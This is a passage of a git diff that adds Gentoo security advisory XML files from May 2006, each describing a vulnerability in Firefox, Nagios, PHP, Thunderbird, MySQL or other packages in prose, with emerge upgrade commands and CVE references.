+  </description>
+  <impact type="normal">
+    <p>
+    If JavaScript is enabled, by tricking a user into visiting a
+    malicious web page which would send a specially crafted HTML script
+    that contains references to deleted objects with the "designMode"
+    property enabled, an attacker can crash the web browser and in theory
+    manage to execute arbitrary code with the rights of the user running
+    the browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox 1.5 users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.5.0.3&quot;</code>
+    <p>
+    All Mozilla Firefox 1.5 binary users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.5.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1993">CVE-2006-1993</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 04 May 2006 16:54:02 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 05 May 2006 18:30:27 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 06 May 2006 13:15:08 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-07.xml b/xml/htdocs/security/en/glsa/glsa-200605-07.xml
new file mode 100644
index 00000000..6000f193
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-07.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-07">
+  <title>Nagios: Buffer overflow</title>
+  <synopsis>
+    Nagios is vulnerable to a buffer overflow which may lead to remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">nagios</product>
+  <announced>May 07, 2006</announced>
+  <revised>May 25, 2006: 03</revised>
+  <bug>132159</bug>
+  <bug>133487</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/nagios-core" auto="yes" arch="*">
+      <unaffected range="ge">1.4.1</unaffected>
+      <vulnerable range="lt">1.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Nagios is an open source host, service and network monitoring program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sebastian Krahmer of the SuSE security team discovered a buffer
+    overflow vulnerability in the handling of a negative HTTP
+    Content-Length header.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A buffer overflow in Nagios CGI scripts under certain web servers
+    allows remote attackers to execute arbitrary code via a negative
+    content length HTTP header.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Nagios users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/nagios-core-1.4.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2162">CVE-2006-2162</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2489">CVE-2006-2489</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 04 May 2006 17:10:32 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 05 May 2006 19:09:01 +0000">
+    fox2mike
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 06 May 2006 04:21:12 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-08.xml b/xml/htdocs/security/en/glsa/glsa-200605-08.xml
new file mode 100644
index 00000000..f92c5a32
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-08.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-08">
+  <title>PHP: Multiple vulnerabilities</title>
+  <synopsis>
+    PHP is affected by multiple issues, including a buffer overflow in
+    wordwrap() which may lead to execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">php</product>
+  <announced>May 08, 2006</announced>
+  <revised>May 15, 2007: 09</revised>
+  <bug>127939</bug>
+  <bug>128883</bug>
+  <bug>131135</bug>
+  <bug>133524</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/php" auto="yes" arch="arm hppa ppc s390 sh sparc x86 x86-fbsd">
+      <unaffected range="ge">5.1.4</unaffected>
+      <unaffected range="rge">4.4.2-r2</unaffected>
+      <unaffected range="rge">4.4.3-r1</unaffected>
+      <unaffected range="rge">4.4.4-r4</unaffected>
+      <unaffected range="rge">4.4.6</unaffected>
+      <unaffected range="ge">4.4.7</unaffected>
+      <vulnerable range="lt">5.1.4</vulnerable>
+    </package>
+    <package name="dev-lang/php" auto="yes" arch="alpha amd64 ia64 ppc64">
+      <unaffected range="ge">5.1.4-r4</unaffected>
+      <unaffected range="rge">4.4.2-r6</unaffected>
+      <unaffected range="rge">4.4.3-r1</unaffected>
+      <unaffected range="rge">4.4.4-r4</unaffected>
+      <unaffected range="rge">4.4.6</unaffected>
+      <unaffected range="ge">4.4.7</unaffected>
+      <vulnerable range="lt">5.1.4-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a widely-used general-purpose scripting language that is
+    especially suited for Web development and can be embedded into HTML.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were discovered on PHP4 and PHP5 by Infigo,
+    Tonu Samuel and Maksymilian Arciemowicz. These included a buffer
+    overflow in the wordwrap() function, restriction bypasses in the copy()
+    and tempname() functions, a cross-site scripting issue in the phpinfo()
+    function, a potential crash in the substr_compare() function and a
+    memory leak in the non-binary-safe html_entity_decode() function.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Remote attackers might be able to exploit these issues in PHP
+    applications making use of the affected functions, potentially
+    resulting in the execution of arbitrary code, Denial of Service,
+    execution of scripted contents in the context of the affected site,
+    security bypass or information leak.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this point.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-lang/php</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0996">CVE-2006-0996</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1490">CVE-2006-1490</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1990">CVE-2006-1990</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1991">CVE-2006-1991</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 05 May 2006 20:33:13 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 06 May 2006 09:55:35 +0000">
+    fox2mike
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 08 May 2006 13:38:05 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-09.xml b/xml/htdocs/security/en/glsa/glsa-200605-09.xml
new file mode 100644
index 00000000..3db3961b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-09.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-09">
+  <title>Mozilla Thunderbird: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities in Mozilla Thunderbird allow attacks ranging from
+    script execution with elevated privileges to information leaks.
+  </synopsis>
+  <product type="ebuild">mozilla-thunderbird</product>
+  <announced>May 08, 2006</announced>
+  <revised>May 08, 2006: 01</revised>
+  <bug>130888</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">1.0.8</unaffected>
+      <vulnerable range="lt">1.0.8</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.8</unaffected>
+      <vulnerable range="lt">1.0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Thunderbird is the next-generation mail client from the
+    Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were found and fixed in Mozilla
+    Thunderbird.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft malicious emails that would leverage
+    these issues to inject and execute arbitrary script code with elevated
+    privileges, steal local files or other information from emails, and
+    spoof content. Some of these vulnerabilities might even be exploited to
+    execute arbitrary code with the rights of the user running Thunderbird.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds for all the issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-1.0.8&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-1.0.8&quot;</code>
+    <p>
+    Note: There is no stable fixed version for the ALPHA
+    architecture yet. Users of Mozilla Thunderbird on ALPHA should consider
+    unmerging it until such a version is available.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0292">CVE-2006-0292</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0296">CVE-2006-0296</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0748">CVE-2006-0748</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0749">CVE-2006-0749</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0884">CVE-2006-0884</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1045">CVE-2006-1045</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1727">CVE-2006-1727</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1728">CVE-2006-1728</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1730">CVE-2006-1730</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1731">CVE-2006-1731</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1732">CVE-2006-1732</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1733">CVE-2006-1733</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1734">CVE-2006-1734</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1735">CVE-2006-1735</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1737">CVE-2006-1737</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1738">CVE-2006-1738</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1739">CVE-2006-1739</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1741">CVE-2006-1741</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1742">CVE-2006-1742</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1790">CVE-2006-1790</uri>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html#Thunderbird">Mozilla Foundation Security Advisories</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 24 Apr 2006 16:32:56 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 24 Apr 2006 22:23:09 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 08 May 2006 17:36:25 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-10.xml b/xml/htdocs/security/en/glsa/glsa-200605-10.xml
new file mode 100644
index 00000000..44a9990a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-10.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-10">
+  <title>pdnsd: Denial of Service and potential arbitrary code execution</title>
+  <synopsis>
+    pdnsd is vulnerable to a buffer overflow that may result in arbitrary code
+    execution.
+  </synopsis>
+  <product type="ebuild">pdnsd</product>
+  <announced>May 10, 2006</announced>
+  <revised>May 10, 2006: 01</revised>
+  <bug>131341</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/pdnsd" auto="yes" arch="*">
+      <unaffected range="ge">1.2.4</unaffected>
+      <vulnerable range="lt">1.2.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pdnsd is a proxy DNS server with permanent caching that is
+    designed to cope with unreachable DNS servers.
+    </p>
+  </background>
+  <description>
+    <p>
+    The pdnsd team has discovered an unspecified buffer overflow
+    vulnerability. The PROTOS DNS Test Suite, by the Oulu University Secure
+    Programming Group (OUSPG), has also revealed a memory leak error within
+    the handling of the QTYPE and QCLASS DNS queries, leading to
+    consumption of large amounts of memory.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker can craft malicious DNS queries leading to a Denial of
+    Service, and potentially the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pdnsd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/pdnsd-1.2.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2076">CVE-2006-2076</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2077">CVE-2006-2077</uri>
+  </references>
+  <metadata tag="bugReady" timestamp="Sat, 06 May 2006 16:17:08 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 May 2006 10:55:02 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-11.xml b/xml/htdocs/security/en/glsa/glsa-200605-11.xml
new file mode 100644
index 00000000..aadf572e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-11.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-11">
+  <title>Ruby: Denial of Service</title>
+  <synopsis>
+    Ruby WEBrick and XMLRPC servers are vulnerable to Denial of Service.
+  </synopsis>
+  <product type="ebuild">ruby</product>
+  <announced>May 10, 2006</announced>
+  <revised>May 10, 2006: 01</revised>
+  <bug>130657</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/ruby" auto="yes" arch="*">
+      <unaffected range="ge">1.8.4-r1</unaffected>
+      <vulnerable range="lt">1.8.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby is an interpreted scripting language for quick and easy
+    object-oriented programming. It comes bundled with HTTP ("WEBrick") and
+    XMLRPC server objects.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ruby uses blocking sockets for WEBrick and XMLRPC servers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could send large amounts of data to an affected server
+    to block the socket and thus deny other connections to the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/ruby-1.8.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1931">CVE-2006-1931</uri>
+    <uri link="http://www.ruby-lang.org/en/20051224.html">Ruby release announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 08 May 2006 06:23:42 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 08 May 2006 13:21:34 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-12.xml b/xml/htdocs/security/en/glsa/glsa-200605-12.xml
new file mode 100644
index 00000000..415d3271
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-12.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-12">
+  <title>Quake 3 engine based games: Buffer Overflow</title>
+  <synopsis>
+    The Quake 3 engine has a vulnerability that could be exploited to execute
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">quake</product>
+  <announced>May 10, 2006</announced>
+  <revised>May 10, 2006: 01</revised>
+  <bug>132377</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-fps/quake3-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.32c</unaffected>
+      <vulnerable range="lt">1.32c</vulnerable>
+    </package>
+    <package name="games-fps/rtcw" auto="yes" arch="*">
+      <unaffected range="ge">1.41b</unaffected>
+      <vulnerable range="lt">1.41b</vulnerable>
+    </package>
+    <package name="games-fps/enemy-territory" auto="yes" arch="*">
+      <unaffected range="ge">2.60b</unaffected>
+      <vulnerable range="lt">2.60b</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Quake 3 is a multiplayer first person shooter.
+    </p>
+  </background>
+  <description>
+    <p>
+    landser discovered a vulnerability within the "remapShader"
+    command. Due to a boundary handling error in "remapShader", there is a
+    possibility of a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could set up a malicious game server and entice users
+    to connect to it, potentially resulting in the execution of arbitrary
+    code with the rights of the game user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not connect to untrusted game servers.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Quake 3 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-fps/quake3-bin-1.32c&quot;</code>
+    <p>
+    All RTCW users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-fps/rtcw-1.41b&quot;</code>
+    <p>
+    All Enemy Territory users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-fps/enemy-territory-2.60b&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2236">CVE-2006-2236</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 09 May 2006 16:37:35 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 09 May 2006 16:37:43 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 09 May 2006 17:21:13 +0000">
+    fox2mike
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-13.xml b/xml/htdocs/security/en/glsa/glsa-200605-13.xml
new file mode 100644
index 00000000..e60591d5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-13.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-13">
+  <title>MySQL: Information leakage</title>
+  <synopsis>
+    A MySQL server may leak information to unauthorized users.
+  </synopsis>
+  <product type="ebuild">MySQL</product>
+  <announced>May 11, 2006</announced>
+  <revised>May 15, 2006: 04</revised>
+  <bug>132146</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">4.1.19</unaffected>
+      <unaffected range="rge">4.0.27</unaffected>
+      <vulnerable range="lt">4.1.19</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular multi-threaded, multi-user SQL database server.
+    </p>
+  </background>
+  <description>
+    <p>
+    The processing of the COM_TABLE_DUMP command by a MySQL server fails to
+    properly validate packets that arrive from the client via a network
+    socket.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By crafting specific malicious packets an attacker could gather
+    confidential information from the memory of a MySQL server process, for
+    example results of queries by other users or applications. By using PHP
+    code injection or similar techniques it would be possible to exploit
+    this flaw through web applications that use MySQL as a database
+    backend.
+    </p>
+    <p>
+    Note that on 5.x versions it is possible to overwrite the stack and
+    execute arbitrary code with this technique. Users of MySQL 5.x are
+    urged to upgrade to the latest available version.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version.
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/mysql-4.0.27&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-05/msg00041.html">Original advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1516">CVE-2006-1516</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1517">CVE-2006-1517</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 06 May 2006 16:33:38 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 08 May 2006 07:03:06 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 08 May 2006 13:21:08 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-14.xml b/xml/htdocs/security/en/glsa/glsa-200605-14.xml
new file mode 100644
index 00000000..fcf34742
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-14.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-14">
+  <title>libextractor: Two heap-based buffer overflows</title>
+  <synopsis>
+    libextractor is vulnerable to two heap overflow vulnerabilities which could
+    lead to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libextractor</product>
+  <announced>May 21, 2006</announced>
+  <revised>May 21, 2006: 01</revised>
+  <bug>133570</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libextractor" auto="yes" arch="*">
+      <unaffected range="ge">0.5.14</unaffected>
+      <vulnerable range="lt">0.5.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libextractor is a library used to extract metadata from arbitrary
+    files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma has found two heap-based buffer overflows in
+    libextractor 0.5.13 and earlier: one of them occurs in the
+    asf_read_header function in the ASF plugin, and the other occurs in the
+    parse_trak_atom function in the Qt plugin.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a malformed file using an application
+    that employs libextractor and its ASF or Qt plugins, an attacker could
+    execute arbitrary code in the context of the application running the
+    affected library.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libextractor users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libextractor-0.5.14&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2458">CVE-2006-2458</uri>
+    <uri link="http://aluigi.altervista.org/adv/libextho-adv.txt">Original advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 19 May 2006 13:49:39 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 19 May 2006 13:49:51 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 19 May 2006 16:16:14 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-15.xml b/xml/htdocs/security/en/glsa/glsa-200605-15.xml
new file mode 100644
index 00000000..1e373d9f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-15.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-15">
+  <title>Quagga Routing Suite: Multiple vulnerabilities</title>
+  <synopsis>
+    Quagga's RIP daemon allows the injection of routes and the disclosure of
+    routing information. The BGP daemon is vulnerable to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">quagga</product>
+  <announced>May 21, 2006</announced>
+  <revised>May 21, 2006: 01</revised>
+  <bug>132353</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/quagga" auto="yes" arch="*">
+      <unaffected range="ge">0.98.6-r1</unaffected>
+      <vulnerable range="lt">0.98.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Quagga Routing Suite implements three major routing protocols:
+    RIP (v1/v2/v3), OSPF (v2/v3) and BGP4.
+    </p>
+  </background>
+  <description>
+    <p>
+    Konstantin V. Gavrilenko discovered two flaws in the Routing
+    Information Protocol (RIP) daemon that allow the processing of RIP v1
+    packets (carrying no authentication) even when the daemon is configured
+    to use MD5 authentication or, in another case, even if RIP v1 is
+    completely disabled. Additionally, Fredrik Widell reported that the
+    Border Gateway Protocol (BGP) daemon contains a flaw that makes it lock
+    up and use all available CPU when a specific command is issued from the
+    telnet interface.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending RIP v1 response packets, an unauthenticated attacker
+    can alter the routing table of a router running Quagga's RIP daemon and
+    disclose routing information. Additionally, it is possible to lock up
+    the BGP daemon from the telnet interface.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Quagga users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/quagga-0.98.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2223">CVE-2006-2223</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2224">CVE-2006-2224</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2276">CVE-2006-2276</uri>
+    <uri link="http://www.quagga.net/news2.php?y=2006&amp;m=5&amp;d=8#id1147115280">Official release information</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 15 May 2006 05:35:52 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 15 May 2006 16:38:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 16 May 2006 05:49:19 +0000">
+    frilled
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-16.xml b/xml/htdocs/security/en/glsa/glsa-200605-16.xml
new file mode 100644
index 00000000..9c84ba1c
--- /dev/null
